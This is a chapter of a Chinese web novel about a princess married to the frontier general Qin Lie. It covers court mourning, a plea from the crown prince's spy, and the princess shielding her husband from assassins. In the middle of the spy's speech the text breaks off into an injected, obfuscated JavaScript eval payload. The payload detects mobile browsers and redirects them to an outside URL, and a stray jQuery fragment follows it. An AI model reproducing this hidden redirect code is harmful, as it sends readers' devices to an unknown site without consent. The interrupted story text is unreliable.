令仪又在庄子里住了几天方回城。
一进城只见家家户户门上挂着白布,一看便是国丧的规制。
她心中大骇,问了才知是首辅去世,嘉禾帝念其劳苦功高,特赐国丧,配享太庙,举国上下三日内不可饮酒,不可宴饮,不可奏乐。
此时冀州军营亦全军列阵,角声齐鸣,为老首辅送行。
秦洪不解:“圣旨对军中并无要求,王爷何须如此?”
秦石岩叹道:“老首辅三朝阁老两任帝师,更是当代大儒,桃李满天下,天下谁人不敬仰。皇上沉迷修道后,他更是以花甲之身作砥柱朝廷,撑到如今。这般权势威望,他却一不结党二不徇私,若非如此,七皇子岂能与太子分庭抗礼?他这一走,只怕朝廷要大乱!”
待出了王爷军营,秦洪问秦烈:“那老头我也见过,感觉普普通通,真有王爷说的那般厉害?”
秦烈不以为意道:“教出嘉禾帝这般昏君,能有多高明?亦或者是个明知皇帝不行,却还要事君尽忠的酸腐儒生。不过父王有一句话说得对。”
“什么话?”
秦烈远眺京城方向,淡道:“朝廷,要乱了。”
闻听老首辅去世,令仪想起十六公主信中所说老首辅对她如何好,把她当做自家孙女看待。
从字里行间,令仪能感受到十六公主对老首辅的孺慕之情,她当时十分羡慕。——自小到大,虽没了母亲,还有流翠姑姑照顾,可没有父皇宠爱,她从未感受过男性长辈的善意,若是有人对那样对她好,她一定会把他当做自己的亲祖父。
想来十六公主定然亦是如此。
令仪回到府上又写了一封信,嘱咐十六公主务必节哀,以免伤到腹中胎儿。
她还想写信问问太子那边的情形,可是皇子与武将结交向来是朝廷大忌,因此她离京时太子甚至不敢派人来送,也不曾有书信往来。
想了想,最后她还是只字未提太子,只再三殷切嘱咐十六公主千万保重。
因着老首辅突然离世,秦烈中途又回了趟城。
晚膳后来到公主府,见公主在那里做小孩衣裳,问了才知道是十六公主有孕,公主想亲自做些东西送过去。
秦烈大咧咧坐于榻上,“老首辅便是死了,谢家也不至于缺了这些物件。”
他话语中似有几分讥诮,令仪柔声解释道:“我也没什么好送的,这才买了些其他孩子襁褓衣裳的布料,做一件百家衣送过去,希望十六姐姐生产顺利,亦希望她的孩子顺遂平安。”
秦烈道:“对还未出世的婴孩这般用心,对自己枕边人却只送些用不上的东西。”
这便是明明白白的不满了,令仪仔细想了想自己送他的东西。
香胰子、澡豆、香口丹.......确实未见他香喷喷的。
香囊、络子......从未见他佩戴过任何香囊玉佩,也是用不上。
令仪默了片刻,方道:“可我只会做这些。”
她这一丧气,倒显得秦烈不识好歹,——人家费心给你做东西,你倒挑东挑西。
于是他随口道:“你既然会做衣服,不如给我做几件衣裳。”
令仪道:“行,需得先量量尺寸。”
她欲叫尚衣局出身的明珠过来为他量尺寸,人却被拉进怀中,秦烈笑道:“何必便宜她们,公主亲自测量即可。”
秦烈这次在城中呆了三日,临走时捎走一套赶制出来的中衣。
后来又回来几次,凑齐了一套还有剩余,或是公主耐心细致,做的衣衫可身舒适,秦烈喜欢穿,若是有喜欢的料子颜色,还嘱咐她多做一件。
转眼已到六月,秦烈极其罕有地回来州府几日,却一直未到公主府中。
六月初十是秦烈大哥与三叔的忌日,老夫人拄着拐杖,坐在太师椅上,看着秦家人上香行礼。
秦家三房,嫡亲骨肉与其伴侣才有资格进入祠堂,尽皆屏息静气,表情沉重严肃。
待小辈一个个拜完,老夫人缓缓道:“几十年来,我秦家儿郎保家卫国,以战死沙场为荣,从未贪生怕死。可我三儿与长孙死的冤枉,他们不是死于匈奴之手,而是被朝廷背刺!明明战术得当,他们以身为饵将匈奴引到了城下,将士们骁悍忠勇。靠着五日的口粮足足撑了二十日,可是朝廷的援兵未到!只为了......为了.......”老夫人眼眶欲裂,声嘶力竭:“只为了赶皇帝的工期!!”
“我们秦家无愧于朝廷,无愧于黎民,无愧于刘家!是他们刘家辜负了我们!刘承义自以为杀了那些人便死无对证,殊不知早有人惜我们一门忠烈,看不惯他倒行逆施,将他密令援军先造通天塔之事告知了我们!”
“可叹他为君,我们为臣,不能手刃仇敌。如今江南纷乱未平,朝廷更是暗潮涌动,我知道不少人私下联络你们,可我要你们记得,秦家守边关守的是大好江山黎民百姓,守的不是他刘家的龙椅!将来谁坐龙椅与咱们无关,只一点,只要上面坐的是刘家人,谁也不要去想那从龙之功,若有私下与刘家人往来者,可自立门户,我秦家绝对不留!”
众人无不应声。
待人散后,老夫人留下秦烈,问道:“那个公主现下如何?”
秦烈道:“她终日在公主府,还算安分守己。”
老夫人叹道:“祖母知道委屈了你。听闻你最近经常宿在书房,不进后院。慧娘走后,你身边只一个孙姨娘,没再进人。慧娘走了我也难过,可再难过日子总得过下去,你虽子女双全,总也得找个知冷知热的贴心人。你若在外遇到喜欢的,告诉我一声,祖母为你去求娶,虽公主占了正妻之位,到府上只能做妾,可咱们不会委屈了她,家里外面都只当她是正头夫人,不会有丝毫怠慢。”
秦烈道:“多谢祖母挂心,只是孙儿现在尚无此心思。”
老夫人不会被他两句话糊弄过去,继续劝道:“这些事本该你母亲操持,只是她自你大哥死后便一蹶不振,我这个半截身子入土的人才不得不上心。若是暂时没喜欢的,便慢慢物色,你院里只一个孙姨娘实在不像话,要不先把你房里那个春莺抬为姨娘?免得你终日在外操劳,回来府里也是冷冷清清。”
秦烈祸水东引的毫无愧疚:“如今孙儿身兼军营通州,实在无神想这些事,待以后闲下来少不得让祖母为我操心。比起我来,秦洪早到了该谈婚论嫁的年纪,祖母可为他相看好了哪家小姐?”
一说起与继母水火不容的秦洪,老夫人再顾不得他这边,“那个皮猴子,哎,过年宁可去军营,也不回自己家。他自小听你的话,你多劝着他些。”
秦烈故作惋惜:“可惜孙儿马上要启程去通州,不然定拉着他去相看,一天十个八个不嫌多,二十来个也不嫌少,保管年底给你娶回来孙媳妇!”
“你呀!就会哄我!”老夫人被他说得啼笑皆非。
。
七月流火,冀州虽地处北地,却同样酷暑难耐。
令仪惧寒亦惧暑,终日窝在屋里,连院子里也不去了,屋里搁了三个冰盆,还终日用井水冰着水果吃。惹得赵嬷嬷天天念叨,这般不忌嘴吃那些寒凉之物,何时才能怀上孩子?
不想在某日晌午时分,一商人打扮的中年男子来到公主府,逼得令仪不得不出门。
这位陈掌柜平日开店做些玉石生意,实则是太子安插在崇州的暗探。
他手持太子信物,前来求助。
自从老首辅离世,崔相接任内阁首辅,太子被处处打压,幸得如今担任吏部侍郎的谢玉与其岳父崔阁老扶持,尚能勉强支撑。可前几日七皇子忽然主动请缨镇压强弩之末的湘王,这一去便要带四万大军,待他凯旋而归既有军功在身,又有军权在手,太子如何与其相争?
七皇子先下手为强,打了太子个措手不及,便是一早知道,太子做得锦绣文章,却弓马稀疏,与行军打仗可谓一窍不通。便是只挂虚名,可叹手下之人尽皆老首辅所留,竟无一个得用的武将!
是以,太子着人前来,想让令仪说动秦烈上书朝廷请缨镇压反贼,一个未打过仗的皇子,和一个百战百胜的将军,太子有十足把握朝廷会选择秦烈。
陈掌柜恳切道:“若非事态紧急,太子殿下万不会让小的来叨扰公主。七皇子为人残暴,行事不择手段,如今在朝中与太子殿下已成不死不休之势。若真让他得逞,便是人为刀俎我为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651094|171007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鱼肉,太子殿下等人连性命亦难保!”
令仪怎会不应?可她也有七八日未见过秦烈。仇闵去找秦小山,得到的消息是秦烈不在州府,至于去了哪里秦小山不肯透漏。只说可为公主传信,一切等将军定夺。
陈掌柜急道:“这一来一回不知要耗费多少时间,时间紧迫,根本来不及!且若驸马不答应,公主再去劝服,怕是已无力回天!”
令仪当下便着人备轿,自己要去王府,仇闵委婉道:“公主还请三思,上次驸马便曾因此与您生了嫌隙,若是您这般前去,只怕事情不好收场。”
令仪道:“太子哥哥不仅对我多番照拂,更对我有救命之恩。事有轻重缓急,当下也顾不得那么多了!”
仇闵见她如此坚决,只得退一步,自己先将秦小山约出来,看公主能不能说服他。
秦小山乃秦烈心腹,这却是第一次见这位有实无名的“主母。”
这一见不由心中感叹,这般姿容,难怪将军回城时夜夜“睡书房”。
可对于秦烈的行踪,他仍不肯透漏分毫。
令仪无奈,威胁道:“你若不肯告知,我便亲去拜见王爷王妃问询。我是圣旨指婚下嫁的公主,难道还不配得知驸马的行踪?”
秦小山心道,你若是去王府将一切抖落出来,只怕秦家要翻天。
现下还有一个办法,那便是将公主无声无息囚禁在公主府,便是秦烈不在,凭着他的信物,秦小山自己便可办成此事。
可是......
看着面前虽焦急万分,仍难掩天姿国色的公主,又想起将军之前做为。
秦小山沉吟片刻,道:“我带公主前去。”
令仪赶到时,秦烈正坐于厅上听张朝民与孙月彬回禀。
当初张朝民忽然被留在宁州,心中着实忐忑,他不过一冀州县令,未经朝廷指派,到宁州干起了郡守的活,终日那叫一个战战兢兢。不想干到现在,越干越精神,越干越有劲,说到底都是前任衬托,百姓抬举。
他虽能力一般,却勤勉中正,这样的人打理起被白莲教弄得乌烟瘴气的民生最合适不过。
而孙月彬,则是脸厚心黑,短短几个月,宁州六郡十七县,被他蚕食得近一半落入手中,之前新兵两千,现在已经扩张到了八千。
能从白莲教嘴里夺食且还咽的下去,堪称奇景。
两人心中不无骄傲,都等着将军夸奖,顺便把官位给坐实了,省得空有权利没有名分哪日被别人给摘了桃子。
却见将军还未开口,一名近卫自外面进来,俯身在他耳边说了几句,将军立时沉下了脸,抬脚便往外走。
秦小山站在马车旁,汗水已将衣衫湿透,可在看到秦烈出来后的脸色,立时知道自己做错,整个人如坠冰窟,直直跪下低头,一个字也不敢辩驳。
陈掌柜则是被秦烈那如刀似剑的一瞥所慑,脚一软差点跪在地上,扶着车缘才勉强站定。
只有令仪急急赶来,马车疾行颠簸两日,又热的头昏,根本没注意这些,见到秦烈便扯住他的衣袖,“将军!救救太子哥哥!”
后宅女子插手政事,已触犯秦烈大忌,何况令仪这般身份,私自窥他行踪还来寻他。
秦烈眼中凝着冰渣:“你就是这般乖乖听话的?”
令仪此时已有些撑不住,眼前甚至出现重影,她未听清他说什么,抬头却见他身后几步远一位行人,忽然从腰间掏出一柄利刃,朝他扑来。
秦烈不能死!
昏沉的脑中只有这个念头,电光火石间,她转到他身后,张开两臂,将秦烈牢牢护住。
眼前重影越发杂乱,透过眼睫的汗珠,她看着数把利刃往她身上扎来,还没来得及惊慌害怕,下一瞬眼前陷入黑暗,失去了所有知觉。
再度醒来时,映入眼帘的是陌生的床帐与屋顶,比不得公主府华丽,却也宽敞整洁。意识还停留在那利刃刺来的瞬间,她下意识地伸手去摸小腹,未见伤口,再摸胸口、胳膊和腰,全都完好无损,亦没觉得疼痛,令仪喃喃:“我这是死了吗?”
“还差一点。”秦烈的声音自房间另一侧响起:“就你这几把骨头,还敢为我挡刀?”